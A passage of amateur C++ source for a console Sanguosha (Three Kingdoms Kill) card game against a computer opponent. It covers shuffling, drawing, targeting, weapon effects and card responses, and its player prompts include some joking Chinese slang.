    case 205:cout<<"【借刀杀人】"<<endl;break;
    case 206:cout<<"【桃园结义】"<<endl;break;
    case 207:cout<<"【五谷丰登】"<<endl;break;
    case 208:cout<<"【南蛮入侵】"<<endl;break;
    case 209:cout<<"【万箭齐发】"<<endl;break;
    case 210:cout<<"【无懈可击】"<<endl;break;
    case 251:cout<<"【乐不思蜀】"<<endl;break;
    case 252:cout<<"【闪电】"<<endl;break;
    case 301:cout<<"【诸葛连弩(1)】"<<endl;break;
    case 302:cout<<"【雌雄双股剑(2)】"<<endl;break;
    case 303:cout<<"【青釭剑(2)】"<<endl;break;
    case 304:cout<<"【青龙偃月刀(3)】"<<endl;break;
    case 305:cout<<"【丈八蛇矛(3)】"<<endl;break;
    case 306:cout<<"【贯石斧(3)】"<<endl;break;
    case 307:cout<<"【方天画戟(4)】"<<endl;break;
    case 308:cout<<"【麒麟弓(5)】"<<endl;break;
    case 331:cout<<"【八卦阵】"<<endl;break;
    case 361:cout<<"【赤兔(-1)】"<<endl;break;
    case 362:cout<<"【大宛(-1)】"<<endl;break;
    case 363:cout<<"【紫辛(-1)】"<<endl;break;
    case 381:cout<<"【爪黄飞电(+1)】"<<endl;break;
    case 382:cout<<"【的卢(+1)】"<<endl;break;
    case 383:cout<<"【绝影(+1)】"<<endl;break;
    default:printf("类型参数错误!");break;
    }
    }
    };
    void Qishixipai(pai A[2][4][13],pai paidui[104])
    {
    int i,m,x,y,z,a[104]={0};
    srand((unsigned)time(NULL));
    for(i=1;i<=104;i++)
    {
    while(a[m=rand()%104]);
    a[m]=i;
    }
    for(i=0;i<=103;i++)
    {
    x=(a[i]-1)/52;
    y=((a[i]-1)-52*x)/13;
    z=(a[i]-1)%13;
    paidui[i]=A[x][y][z];
    }
    }
    void Xipai(pai paidui[104],int*paiduishu,pai qipaidui[104],int*qipaishu)
    {
    int i,m,a[104]={0};
    srand((unsigned)time(NULL));
    for(i=1;i<=(*qipaishu);i++)
    {
    while(a[m=rand()%(*qipaishu)]);
    a[m]=i;
    }
    for(i=0;i<=((*qipaishu)-1);i++)
    {
    paidui[i]=qipaidui[a[i]];
    qipaidui[a[i]].leixing=-1;
    (*paiduishu)++;
    (*qipaishu)--;
    }
    for(i=(*paiduishu);i<=103;i++)paidui[i].leixing=-1;
    }
    pai Mo1pai(pai A[104],int *x,pai B[104],int*y,int *b)
    {
    pai p;
    if((*x)==0)Xipai(A,x,B,y);
    else if((*x)<0)printf("摸牌参数错误!");
    else;
    p=A[104-(*x)];
    (*x)--;
    (*b)++;
    return(p);
    }
    struct wujiang
    {
    char name;
    int tili;
    int tilishangxian;
    int shoupaishangxian;
    int huihekaishi;
    int panding;
    int mopai;
    int chupai;
    int qipai;
    int huihejieshu;
    int juese;
    pai shoupai[20];
    int shoupaishu;
    pai zhuangbei[4];
    int zhuangbeishu;
    pai pandingpai[3];
    int pandingshu;
    int juli[1];
    void Kanshoupai()
    {
    printf("玩家当前手牌:\n");
    if(shoupaishu)
    {
    int m;
    for(m=0;m<=(shoupaishu-1);m++)
    {
    printf("%d ",m);
    (shoupai[m]).Kanpai();
    }
    }
    else printf("空城!\n");
    printf("\n");
    }
    void Kanzhuangbei()
    {
    if(juese)printf("玩家");
    else printf("电脑");
    printf("当前装备:\n");
    printf("0 武器: ");
    if((zhuangbei[0]).leixing==-1)printf("空\n");
    else (zhuangbei[0]).Kanpai();
    printf("1 防具: ");
    if((zhuangbei[1]).leixing==-1)printf("空\n");
    else (zhuangbei[1]).Kanpai();
    printf("2 进攻马: ");
    if((zhuangbei[2]).leixing==-1)printf("空\n");
    else (zhuangbei[2]).Kanpai();
    printf("3 防御马: ");
    if((zhuangbei[3]).leixing==-1)printf("空\n");
    else (zhuangbei[3]).Kanpai();
    printf("\n");
    }
    void Kanpandingpai()
    {
    if(juese)printf("玩家");
    else printf("电脑");
    printf("当前判定区:\n");
    if((pandingpai[0]).leixing==-1)printf("空\n");
    else
    {
    printf("0 ");
    (pandingpai[0]).Kanpai();
    if((pandingpai[1]).leixing==-1);
    else
    {
    printf("1 ");
    (pandingpai[1]).Kanpai();
    if((pandingpai[2]).leixing==-1);
    else
    {
    printf("2 ");
    (pandingpai[2]).Kanpai();
    }
    }
    }
    }
    };
    void Mopai(int*shoupaishu,pai shoupai[20],pai A[104],int *x,pai B[104],int*y,int juese)
    {
    if(juese)printf("玩家从牌堆摸2张牌\n");
    else printf("电脑从牌堆摸2张牌\n");
    pai p;
    p=Mo1pai(A,x,B,y,shoupaishu);
    shoupai[*shoupaishu-1]=p;
    pai q;
    q=Mo1pai(A,x,B,y,shoupaishu);
    shoupai[*shoupaishu-1]=q;
    int m;
    if(juese)
    {
    printf("玩家当前手牌:\n");
    for(m=0;m<=(*shoupaishu-1);m++)
    {
    printf("%d ",m);
    (shoupai[m]).Kanpai();
    }
    }
    printf("牌堆还剩%d张牌!\n\n",*x);
    }
    void Qishishoupai(wujiang *w,pai A[104],int *x,pai B[104],int*y)
    {
    pai a;
    a=Mo1pai(A,x,B,y,&((*w).shoupaishu));
    (*w).shoupai[(*w).shoupaishu-1]=a;
    pai b;
    b=Mo1pai(A,x,B,y,&((*w).shoupaishu));
    (*w).shoupai[(*w).shoupaishu-1]=b;
    pai c;
    c=Mo1pai(A,x,B,y,&((*w).shoupaishu));
    (*w).shoupai[(*w).shoupaishu-1]=c;
    pai d;
    d=Mo1pai(A,x,B,y,&((*w).shoupaishu));
    (*w).shoupai[(*w).shoupaishu-1]=d;
    int m;
    if((*w).juese)printf("玩家从牌堆摸4张牌\n");
    else printf("电脑从牌堆摸4张牌\n");
    if((*w).juese)
    {
    printf("玩家当前手牌:\n");
    for(m=0;m<=((*w).shoupaishu-1);m++)
    {
    printf("%d ",m);
    ((*w).shoupai[m]).Kanpai();
    }
    }
    printf("牌堆还剩%d张牌!\n\n",*x);
    }
    void Panding(pai paidui[104],int*paiduishu,pai qipaidui[104],int*qipaishu)
    {
    paidui[*paiduishu].Kanpai();
    qipaidui[*qipaishu]=paidui[*paiduishu];
    (*paiduishu)--;
    (*qipaishu)++;
    }
    pai Zhangba(wujiang*w,pai qipaidui[104],int*qipaishu)
    {
    int x,y;
    pai p;
    for(;;)
    {
    int i,j;
    printf("请输入任意两张手牌之前的编号,以空格隔开,以回车结束!\n");
    scanf("%d",&x);
    scanf("%d",&y);
    if((x>=0)&&(x<(*w).shoupaishu)&&(y>=0)&&(y<(*w).shoupaishu-1))
    {
    switch((((*w).shoupai[x].huase)%2)+(((*w).shoupai[y].huase)%2))
    {
    case 0:p.yanse=0;break;
    case 2:p.yanse=1;break;
    case 1:p.yanse=2;break;
    default:printf("【丈八蛇矛】函数参数错误!\n");
    }
    qipaidui[*qipaishu]=(*w).shoupai[x];
    (*w).shoupai[x].leixing=-1;
    ((*w).shoupaishu)--;
    (*qipaishu)++;
    qipaidui[*qipaishu]=(*w).shoupai[y];
    (*w).shoupai[y].leixing=-1;
    ((*w).shoupaishu)--;
    (*qipaishu)++; printf("弃牌数:%d",*qipaishu);
    for(i=0;i<=(((*w).shoupaishu)+1);i++)
    {
    if((*w).shoupai[i].leixing==-1)
    {
    for(j=i+1;j<=(((*w).shoupaishu)+2);j++)
    (*w).shoupai[j-1]=(*w).shoupai[j];
    i--;
    }
    }
    printf("玩家把:\n");
    qipaidui[(*qipaishu)-2].Kanpai();
    qipaidui[(*qipaishu)-1].Kanpai();
    printf("当作一张");
    switch(p.yanse)
    {
    case 0:printf("黑色");break;
    case 2:printf("红色");break;
    case 1:printf("无色");break;
    default:printf("绿色");break;
    }
    printf("无点数的【杀】");
    p.dianshu=-1;
    p.leixing=101;
    return p;
    break;
    }
    printf("你将两张空气当作一张空气属性的【杀】使用或打出!\n");
    }
    }
    int Xuanpai(wujiang*w,int t)
    {
    int x;
    if((*w).juese)
    {
    for(;;)
    {
    printf("出牌请输入手牌之前的编号,以回车结束!\n如果你想结束出牌阶段,请输入“-1”,以回车结束!\n");
    scanf("%d",&x);
    if((x>=-1&&x<((*w).shoupaishu))||((x==100)&&((*w).zhuangbei[0].leixing==305)))
    {
    return x;
    break;
    }
    printf("你打出了一张空气!\n");
    }
    }
    else return t;
    }
    pai Panpai(wujiang*w1,int*sha,int y,pai qipaidui[104],int*qipaishu)
    {
    pai p,q;
    p.leixing=0;
    q.leixing=-1;
    if(y==-1)return q;
    else
    {
    if(y==100)
    {
    if((*sha)>0)
    {
    q=Zhangba(w1,qipaidui,qipaishu);
    printf("使用!\n");
    return q;
    }
    else
    {
    printf("当前回合使用【杀】的次数已用尽,你也不能使用【丈八蛇矛】效果!\n");
    return p;
    }
    }
    switch((*w1).shoupai[y].leixing)
    {
    case 101:
    if(((*sha)>0)||((*w1).zhuangbei[0].leixing==301))
    {
    if(((*w1).zhuangbei[0].leixing==301))printf("武器【诸葛连弩】效果被触发!\n");
    return (*w1).shoupai[y];
    break;
    }
    else
    {
    if((*w1).juese)printf("当前回合使用【杀】的次数已用尽,你不能使用【杀】!\n");
    return p;break;
    }
    case 102:
    if((*w1).juese)
    printf("当前不需要响应任何操作,你不能主动打出【闪】!\n");
    return p;break;
    case 103:
    if(((*w1).tili)<((*w1).tilishangxian))
    {
    return (*w1).shoupai[y];
    break;
    }
    else
    {
    if((*w1).juese)
    printf("你并未受伤,不能对自己使用【桃】!\n");
    }
    return p;break;
    case 210:
    if((*w1).juese)
    printf("当前不需要响应任何锦囊,你不能主动打出【无懈可击】!\n");
    return p;break;
    case 201:
    case 202:
    case 203:
    case 204:
    case 205:
    case 206:
    case 207:
    case 208:
    case 209:
    case 251:
    case 252:
    case 301:
    case 302:
    case 303:
    case 304:
    case 305:
    case 306:
    case 307:
    case 308:
    case 331:
    case 361:
    case 362:
    case 363:
    case 381:
    case 382:
    case 383:return (*w1).shoupai[y];break;
    default:printf("手牌类型参数错误!\n");return p;break;
    }
    }
    }
    int Mubiao(pai p,wujiang *w1,wujiang *w2,int*sha)
    {
    int x;
    switch(p.leixing)
    {
    case 101:
    if((*w1).juese)
    {
    printf("请选择【杀】的目标!\n输入目标前的编号,以回车结束!\n0 电脑1\n");
    scanf("%d",&x);
    if(x==0)
    {
    if((*w1).zhuangbei[0].changdu>=(*w1).juli[0])
    {
    (*sha)--;
    return((*w2).juese);
    }
    else
    {
    printf("武器长度不够!\n");
    return -2;
    }
    }
    else
    {
    printf("目标错误!\n");
    return -2;
    }
    }
    else
    {
    if((*w1).zhuangbei[0].changdu>=(*w1).juli[0])
    {
    (*sha)--;
    return((*w2).juese);
    }
    else return -2;
    }
    break;
    case 103:return((*w1).juese);break;
    case 201:
    if((*w1).juese)
    {
    printf("请选择【过河拆桥】的目标!\n输入目标前的编号,以回车结束!\n0 电脑1\n");
    scanf("%d",&x);
    if(x==0)
    {
    if((*w2).shoupaishu||(*w2).zhuangbeishu||(*w2).pandingshu)return((*w2).juese);
    else
    {
    printf("目标没有牌!\n");
    return -2;
    }
    }
    else
    {
    printf("目标错误!\n");
    return -2;
    }
    }
    else return((*w2).juese);
    break;
    case 202:
    if((*w1).juese)
    {
    printf("请选择【顺手牵羊】的目标!\n输入目标前的编号,以回车结束!\n0 电脑1\n");
    scanf("%d",&x);
    if(x==0)
    {
    if(((*w2).shoupaishu||(*w2).zhuangbeishu||(*w2).pandingshu)&&((*w1).juli[0]<=1))return((*w2).juese);
    else
    {
    printf("目标没有牌!\n");
    return -2;
    }
    }
    else
    {
    printf("目标错误!\n");
    return -2;
    }
    }
    else
    {
    if((*w1).juli[0]<=1)return((*w2).juese);
    else return -2;
    }
    break;
    case 203:
    return((*w1).juese);break;
    case 204:
    if((*w1).juese)
    {
    printf("请选择【决斗】的目标!\n输入目标前的编号,以回车结束!\n0 电脑1\n");
    scanf("%d",&x);
    if(x==0)return((*w2).juese);
    else
    {
    printf("目标错误!\n");
    return -2;
    }
    }
    else return((*w2).juese);
    break;
    case 205:
    int y;
    if((*w1).juese)
    {
    printf("请选择【借刀杀人】的目标!\n输入目标前的编号,以回车结束!\n0 电脑1\n");
    scanf("%d",&x);
    if(x!=0)
    {
    printf("目标错误!\n");
    return -2;
    }
    else
    {
    if(((*w2).zhuangbei[0]).leixing<=300||((*w2).zhuangbei[0]).leixing>=331)
    {
    printf("目标装备区里没有武器!\n");
    return -2;
    }
    else
    {
    printf("请选择【杀】的目标!\n提示:【杀】的目标必须在【借刀杀人】的目标的攻击范围之内!\n输入目标前的编号,以回车结束!\n0 玩家\n");
    scanf("%d",&y);
    if(y!=0)
    {
    printf("目标错误!\n");
    return -2;
    }
    else
    {
    if(((*w2).zhuangbei[0].changdu)<(*w2).juli[0])
    {
    printf("武器距离不够!\n");
    return -2;
    }
    else
    return((*w2).juese);
    }
    }
    }
    }
    else
    {
    if(((*w2).zhuangbei[0]).leixing<=300||((*w2).zhuangbei[0]).leixing>=331)return -2;
    else
    {
    if(((*w2).zhuangbei[0].changdu)<(*w2).juli[0])return -2;
    else return((*w2).juese);
    }
    }
    break;
    case 206:
    case 207:return 99;break;
    case 208:
    case 209:return 100;break;
    case 251:
    if((*w1).juese)
    {
    printf("请选择【乐不思蜀】的目标!\n输入目标前的编号,以回车结束!\n0 电脑1\n");
    scanf("%d",&x);
    if(x==0)
    {
    int i;
    for(i=0;i<=2;i++)
    {
    if((*w2).pandingpai[i].leixing==251)
    i=-1;
    break;
    }
    if(i==-1)
    {
    printf("目标判定区里不能同时存在两张相同的延时类锦囊!\n");
    return -2;
    }
    else return((*w2).juese);
    }
    else
    {
    printf("目标错误!\n");
    return -2;
    }
    }
    else
    {
    int i;
    for(i=0;i<=2;i++)
    {
    if((*w2).pandingpai[i].leixing==251)
    i=-1;
    break;
    }
    if(i==-1)return -2;
    else return((*w2).juese);
    }
    break;
    case 252:
    int i;
    for(i=0;i<=2;i++)
    {
    if((*w1).pandingpai[i].leixing==252)
    i=-1;
    break;
    }
    if(i==-1)
    {
    if((*w1).juese)printf("目标判定区里不能同时存在两张相同的延时类锦囊!\n");
    return -2;
    }
    else return ((*w1).juese);
    break;
    case 301:
    case 302:
    case 303:
    case 304:
    case 305:
    case 306:
    case 307:
    case 308:
    case 331:
    case 361:
    case 362:
    case 363:
    case 381:
    case 382:
    case 383:return((*w1).juese);break;
    default:return -2;break;
    }
    }
    void Da1pai(wujiang *w1,wujiang*w2,pai qipaidui[104],int *qipaishu,int x)
    {
    int i;
    if((x<0||x>=((*w1).shoupaishu))&&x!=100)
    printf("你的牌呢?!\n");
    else
    {
    switch(((*w1).shoupai)[x].leixing)
    {
    case 101:
    case 102:
    case 103:
    case 201:
    case 202:
    case 203:
    case 204:
    case 205:
    case 206:
    case 207:
    case 208:
    case 209:
    case 210:
    qipaidui[*qipaishu]=((*w1).shoupai)[x];
    for(i=x+1;i<=((*w1).shoupaishu);i++)((*w1).shoupai)[i-1]=((*w1).shoupai)[i];
    ((*w1).shoupaishu)--;
    (*qipaishu)++;
    break;
    case 251:
    for(i=1;i>=0;i--)(*w2).pandingpai[i+1]=(*w2).pandingpai[i];
    (*w2).pandingpai[0]=(*w1).shoupai[x];
    for(i=x+1;i<=((*w1).shoupaishu);i++)((*w1).shoupai)[i-1]=((*w1).shoupai)[i];
    ((*w1).shoupaishu)--;
    ((*w2).pandingshu)++;
    break;
    case 252:
    for(i=1;i>=0;i--)(*w1).pandingpai[i+1]=(*w1).pandingpai[i];
    (*w1).pandingpai[0]=(*w1).shoupai[x];
    for(i=x+1;i<=((*w1).shoupaishu);i++)((*w1).shoupai)[i-1]=((*w1).shoupai)[i];
    ((*w1).shoupaishu)--;
    ((*w1).pandingshu)++;
    break;
    case 301:
    case 302:
    case 303:
    case 304:
    case 305:
    case 306:
    case 307:
    case 308:
    if((*w1).zhuangbei[0].leixing==-1)((*w1).zhuangbeishu)++;
    else
    {
    qipaidui[*qipaishu]=((*w1).zhuangbei)[0];
    (*qipaishu)++;
    }
    (*w1).zhuangbei[0]=(*w1).shoupai[x];
    for(i=x+1;i<=((*w1).shoupaishu);i++)((*w1).shoupai)[i-1]=((*w1).shoupai)[i];
    ((*w1).shoupaishu)--;
    break;
    case 331:
    if((*w1).zhuangbei[1].leixing==-1)((*w1).zhuangbeishu)++;
    else
    {
    qipaidui[*qipaishu]=((*w1).zhuangbei)[1];
    (*qipaishu)++;
    }
    (*w1).zhuangbei[1]=(*w1).shoupai[x];
    for(i=x+1;i<=((*w1).shoupaishu);i++)((*w1).shoupai)[i-1]=((*w1).shoupai)[i];
    ((*w1).shoupaishu)--;
    break;
    case 361:
    case 362:
    case 363:
    if((*w1).zhuangbei[2].leixing==-1)((*w1).zhuangbeishu)++;
    else
    {
    qipaidui[*qipaishu]=((*w1).zhuangbei)[2];
    (*qipaishu)++;
    }
    (*w1).zhuangbei[2]=(*w1).shoupai[x];
    for(i=x+1;i<=((*w1).shoupaishu);i++)((*w1).shoupai)[i-1]=((*w1).shoupai)[i];
    ((*w1).shoupaishu)--;
    break;
    case 381:
    case 382:
    case 383:
    if((*w1).zhuangbei[3].leixing==-1)((*w1).zhuangbeishu)++;
    else
    {
    qipaidui[*qipaishu]=((*w1).zhuangbei)[3];
    (*qipaishu)++;
    }
    (*w1).zhuangbei[3]=(*w1).shoupai[x];
    for(i=x+1;i<=((*w1).shoupaishu);i++)((*w1).shoupai)[i-1]=((*w1).shoupai)[i];
    ((*w1).shoupaishu)--;
    break;
    default:break;
    }
    }
    }
    void Miaoshu(pai p,int juese,int duixiang)
    {
    if(juese==0)printf("电脑");
    else if(juese==1)printf("玩家");
    else printf("角色参数错误!\n");
    if(p.leixing<=300&&p.leixing>100)
    {
    switch(duixiang)
    {
    case -1:printf("打出");break;
    case 0:printf("对电脑使用");break;
    case 1:printf("对玩家使用");break;
    case 99:printf("使用");break;
    case 100:printf("对所有人使用");break;
    default:printf("对象参数错误\n");break;
    }
    }
    else if(p.leixing>=301&&p.leixing<=400)
    printf("装备");
    else printf("你出的是什么东西?\n");
    p.Kanpai();
    if(!juese&&(p.leixing==101||p.leixing==204||p.leixing==205||p.leixing==207||p.leixing==208||p.leixing==209))printf("请响应!\n");
    }
    int Wuxie(pai *p,wujiang*w1,wujiang*w2,pai qipaidui[104],int*qipaishu,int a)
    {
    int x;
    if((*w1).juese)
    {
    printf("是否使用【无懈可击】响应?\n\n");
    for(;;)
    {
    (*w1).Kanshoupai();
    printf("如果要使用【无懈可击】请输入手牌之前编号,不需要请输入“-1”,以回车结束!\n");
    scanf("%d",&x);
    if(x==-1)
    {
    for(x=0;x<((*w2).shoupaishu);x++)
    {
    if((*w2).shoupai[x].leixing==210)
    {
    printf("电脑使用");
    ((*w2).shoupai)[x].Kanpai();
    printf("对象是");
    (*p).Kanpai();
    (*p)=((*w2).shoupai)[x];
    qipaidui[*qipaishu]=((*w2).shoupai)[x];
    for(int i=x+1;i<=((*w2).shoupaishu);i++)((*w2).shoupai)[i-1]=((*w2).shoupai)[i];
    ((*w2).shoupaishu)--;
    (*qipaishu)++;
    a++;
    break;
    }
    }
    break;
    }
    else if((*w1).shoupai[x].leixing==210)
    {
    printf("玩家使用");
    ((*w1).shoupai)[x].Kanpai();
    printf("对象是");
    (*p).Kanpai();
    (*p)=((*w1).shoupai)[x];
    qipaidui[*qipaishu]=((*w1).shoupai)[x];
    for(int i=x+1;i<=((*w1).shoupaishu);i++)((*w1).shoupai)[i-1]=((*w1).shoupai)[i];
    ((*w1).shoupaishu)--;
    (*qipaishu)++;
    (*w1).Kanshoupai();
    a++;
    break;
    }
    else printf("你确定你使用的是【无懈可击】?\n");
    }
    }
    else
    {
    printf("是否使用【无懈可击】响应?\n");
    for(;;)
    {
    (*w2).Kanshoupai();
    printf("如果要使用【无懈可击】请输入手牌之前编号,不需要请输入“-1”,以回车结束!\n");
    scanf("%d",&x);
    if(x==-1)break;
    else if((*w2).shoupai[x].leixing==210)
    {
    printf("玩家使用");
    ((*w2).shoupai)[x].Kanpai();
    printf("对象是");
    (*p).Kanpai();
    (*p)=((*w2).shoupai)[x];
    qipaidui[*qipaishu]=((*w2).shoupai)[x];
    for(int i=x+1;i<=((*w2).shoupaishu);i++)((*w2).shoupai)[i-1]=((*w2).shoupai)[i];
    ((*w2).shoupaishu)--;
    (*qipaishu)++;
    (*w2).Kanshoupai();
    a++;
    break;
    }
    else printf("你确定你使用的是【无懈可击】?\n");
    }
    }
    return a;
    }
    int Qiutao(wujiang*w,pai qipaidui[104],int*qipaishu)
    {
    int x;
    if((*w).juese)
    {
    for(;;)
    {
    printf("如果要使用【桃】请输入手牌之前的编号,不需要请输入“-1”,以回车结束!\n");
    scanf("%d",&x);
    if(x==-1)
    {
    return -1;
    break;
    }
    else if((*w).shoupai[x].leixing==103)
    {
    qipaidui[*qipaishu]=((*w).shoupai)[x];
    for(int i=x+1;i<=((*w).shoupaishu);i++)((*w).shoupai)[i-1]=((*w).shoupai)[i];
    ((*w).shoupaishu)--;
    (*qipaishu)++;
    return 0;
    break;
    }
    else printf("你确定你使用的是【桃】?\n");
    }
    }
    else
    {
    for(x=0;x<((*w).shoupaishu);x++)
    {
    if((*w).shoupai[x].leixing==103)
    {
    qipaidui[*qipaishu]=((*w).shoupai)[x];
    for(int i=x+1;i<=((*w).shoupaishu);i++)((*w).shoupai)[i-1]=((*w).shoupai)[i];
    ((*w).shoupaishu)--;
    (*qipaishu)++;
    return 0;
    break;
    }
    }
    return -1;
    }
    }
    int Binsi(wujiang*w1,wujiang*w2,pai qipaidui[104],int*qipaishu)
    {
    if(((*w2).tili)>0)return 0;
    else
    {
    int i;
    if((*w1).juese)
    {
    for(;;)
    {
    printf("电脑濒死,是否使用【桃】?\n");
    i=Qiutao(w1,qipaidui,qipaishu);
    if(i==0)((*w2).tili)++;
    if((i==-1)||((*w2).tili>0))break;
    }
    if((*w2).tili>0)return 0;
    else
    {
    for(;;)
    {
    i=Qiutao(w2,qipaidui,qipaishu);
    if(i==0)((*w2).tili)++;
    if((i==-1)||((*w2).tili>0))break;
    }
    if((*w2).tili>0)return 0;
    else return -1;
    }
    }
    else
    {
    for(;;)
    {
    printf("玩家濒死,是否使用【桃】?\n");
    i=Qiutao(w2,qipaidui,qipaishu);
    if(i==0)((*w2).tili)++;
    if((i==-1)||((*w2).tili>0))break;
    }
    if((*w2).tili>0)return 0;
    else return -1;
    }
    }
    }
    int Shan(wujiang*w1,wujiang*w2,pai paidui[104],int*paiduishu,pai qipaidui[104],int*qipaishu)
    {
    int x;
    if((*w2).juese)
    {
    if(((*w2).zhuangbei[1].leixing==331)&&((*w1).zhuangbei[0].leixing!=303))
    {
    for(;;)
    {
    int m;
    printf("是否发动【八卦阵】防具效果?\n0 否\n1 是\n请输入选项之前的编号,以回车结束!\n");
    scanf("%d",&m);
    if(m==1)
    {
    Panding(paidui,paiduishu,qipaidui,qipaishu);
    if(qipaidui[(*qipaishu)-1].huase%2)
    {
    printf("【八卦阵】判定成功!\n");
    return 0;
    }
    }
    else if(m==0)
    {
    printf("【八卦阵】判定失败!\n");
    break;
    }
    else printf("你确定你输入的是“0”或“1”?\n");
    }
    }
    else if(((*w2).zhuangbei[1].leixing==331)&&((*w1).zhuangbei[0].leixing==303))printf("【青釭剑】锁定技被触发!\n");
    for(;;)
    {
    printf("请输入手牌之前的编号,或者输入“-1”放弃打出【闪】,以回车结束!\n");
    scanf("%d",&x);
    if(x==-1)
    {
    return -1;
    break;
    }
    else if((*w2).shoupai[x].leixing==102)
    {
    printf("玩家打出");
    ((*w2).shoupai)[x].Kanpai();
    qipaidui[*qipaishu]=((*w2).shoupai)[x];
    for(int i=x+1;i<=((*w2).shoupaishu);i++)((*w2).shoupai)[i-1]=((*w2).shoupai)[i];
    ((*w2).shoupaishu)--;
    (*qipaishu)++;
    return 0;
    break;
    }
    else printf("你确定你打出的是【闪】?\n");
    }
    }
    else
    {
    if(((*w2).zhuangbei[1].leixing==331)&&((*w1).zhuangbei[0].leixing!=303))
    {
    Panding(paidui,paiduishu,qipaidui,qipaishu);
    if(qipaidui[(*qipaishu)-1].huase%2)
    {
    printf("【八卦阵】判定成功!\n");
    return 0;
    }
    else printf("【八卦阵】判定失败!\n");
    }
    else if(((*w2).zhuangbei[1].leixing==331)&&((*w1).zhuangbei[0].leixing==303))printf("【青釭剑】锁定技被触发!\n");
    int i;
    for(x=0;x<((*w2).shoupaishu);x++)
    {
    if((*w2).shoupai[x].leixing==102)
    {
    printf("电脑打出");
    ((*w2).shoupai)[x].Kanpai();
    qipaidui[*qipaishu]=((*w2).shoupai)[x];
    for(i=x+1;i<=((*w2).shoupaishu);i++)((*w2).shoupai)[i-1]=((*w2).shoupai)[i];
    ((*w2).shoupaishu)--;
    (*qipaishu)++;
    return 0;
    break;
    }
    }
    return -1;
    }
    }
    int Sha(wujiang *w1,wujiang*w2,pai paidui[104],int*paiduishu,pai qipaidui[104],int*qipaishu)
    {
    int x;
    if((*w2).juese)
    {
    printf("请打出【闪】响应【杀】!否则你将受到1点伤害!\n");
    x=Shan(w1,w2,paidui,paiduishu,qipaidui,qipaishu);
    if(x==-1)
    {
    int i;
    ((*w2).tili)--;
    printf("电脑对玩家造成1点伤害!\n");
    i=Binsi(w1,w2,qipaidui,qipaishu);
    return i;
    }
    else if(x==0&&((*w1).zhuangbei[0].leixing==306))
    {
    int i;
    if(((*w1).shoupaishu)>=2)
    {
    printf("电脑弃掉:\n");
    ((*w1).shoupai)[0].Kanpai();
    qipaidui[*qipaishu]=((*w1).shoupai)[0];
    for(i=1;i<=((*w1).shoupaishu);i++)((*w1).shoupai)[i-1]=((*w1).shoupai)[i];
    ((*w1).shoupaishu)--;
    (*qipaishu)++;
    ((*w1).shoupai)[0].Kanpai();
    qipaidui[*qipaishu]=((*w1).shoupai)[0];
    for(i=1;i<=((*w1).shoupaishu);i++)((*w1).shoupai)[i-1]=((*w1).shoupai)[i];
    ((*w1).shoupaishu)--;
    (*qipaishu)++;
    printf("发动【贯石斧】武器效果使【杀】造成伤害!\n");
    ((*w2).tili)--;
    i=Binsi(w1,w2,qipaidui,qipaishu);
    return i;
    }
    else return 0;
    }
    else if(x==0&&((*w1).zhuangbei[0].leixing==304))
    {
    int i;
    for(x=0;x<((*w1).shoupaishu);x++)
    {
    if((*w1).shoupai[x].leixing==101)
    {
    printf("电脑发动【青龙偃月刀】效果对玩家使用");
    ((*w1).shoupai)[x].Kanpai();
    qipaidui[*qipaishu]=((*w1).shoupai)[x];
    for(i=x+1;i<=((*w1).shoupaishu);i++)((*w1).shoupai)[i-1]=((*w1).shoupai)[i];
    ((*w1).shoupaishu)--;
    (*qipaishu)++;
    i=Sha(w1,w2,paidui,paiduishu,qipaidui,qipaishu);
    return i;
    break;
    }
    }
    return 0;
    }
    }
    else
    {
    x=Shan(w1,w2,paidui,paiduishu,qipaidui,qipaishu);
    if(x==-1)
    {
    if((*w1).zhuangbei[0].leixing==308)
    {
    for(;;)
    {
    printf("是否发动【麒麟弓】武器效果?\n0 否\n1 是\n");
    scanf("%d",&x);
    if(x==1)
    {
    if(((*w2).zhuangbei[2].leixing==-1)&&((*w2).zhuangbei[3].leixing==-1))
    {
    printf("电脑根本没有马,射你妹的马啊!\n");
    break;
    }
    else
    {
    for(;;)
    {
    printf("0 ");
    ((*w2).zhuangbei[2]).Kanpai();
    printf("1 ");
    ((*w2).zhuangbei[3]).Kanpai();
    printf("请选择要弃掉的马,输入之前的编号,以回车结束!\n");
    scanf("%d",&x);
    if((x==0)&&((*w2).zhuangbei[2].leixing!=-1))
    {
    printf("你弃掉了电脑的");
    ((*w2).zhuangbei)[2].Kanpai();
    qipaidui[*qipaishu]=((*w2).zhuangbei)[2];
    ((*w2).zhuangbeishu)--;
    (*qipaishu)++;
    ((*w2).zhuangbei)[2].leixing=-1;
    ((*w2).juli[0])++;
    break;
    }
    else if((x==1)&&((*w2).zhuangbei[3].leixing!=-1))
    {
    printf("你弃掉了电脑的");
    ((*w2).zhuangbei)[3].Kanpai();
    qipaidui[*qipaishu]=((*w2).zhuangbei)[3];
    ((*w2).zhuangbeishu)--;
    (*qipaishu)++;
    ((*w2).zhuangbei)[3].leixing=-1;
    ((*w1).juli[0])--;
    break;
    }
    else printf("射你妹的马!");
    }
    break;
    }
    }
    else if(x==0)break;
    else printf("键盘上的“0”和“1”被你吃了吗?\n");
    }
    }
    int i;
    ((*w2).tili)--;
    printf("玩家对电脑造成1点伤害!\n");
    i=Binsi(w1,w2,qipaidui,qipaishu);
    return i;
    }
    else if(x==0&&((*w1).zhuangbei[0].leixing==306))
    {
    for(;;)
    {
    printf("是否发动【贯石斧】武器效果?\n0 否\n1 是\n");
    scanf("%d",&x);
    if(x==1)
    {
    int i;
    if((*w1).shoupaishu+(*w1).zhuangbeishu<=2)
    {
    printf("你除了【贯石斧】以外连2张牌都没有,发动你妹的效果!\n");
    break;
    }
    else
    {
    printf("请分别弃掉两张牌!\n");
    for(i=0;i<=2;i++)
    {
    for(;;)
    {
    printf("请选择区域:\n0 手牌\n1 装备\n");
    scanf("%d",&x);
    if(x==0&&((*w1).shoupaishu==0))printf("你根本没有手牌,弃你妹啊!\n");
    else if(x==1&&((*w1).zhuangbeishu==1))printf("你根本没有别的装备,弃你妹啊!\n");
    else if(x>=0&&x<=1)break;
    else printf("键盘上的“0”和“1”被你吃了吗?\n");
    }
    if(x==0)
    {
    for(;;)
    {
    (*w1).Kanshoupai();
    printf("弃牌请输入手牌之前的编号,以回车结束!\n");
    scanf("%d",&x);
    if(x>=0&&x<((*w1).shoupaishu))break;
    else printf("弃你妹的手牌!\n");
    }
    printf("你弃掉了");
    ((*w1).shoupai)[x].Kanpai();
    qipaidui[*qipaishu]=((*w1).shoupai)[x];
    for(i=x+1;i<=((*w1).shoupaishu);i++)((*w1).shoupai)[i-1]=((*w1).shoupai)[i];
    ((*w1).shoupaishu)--;
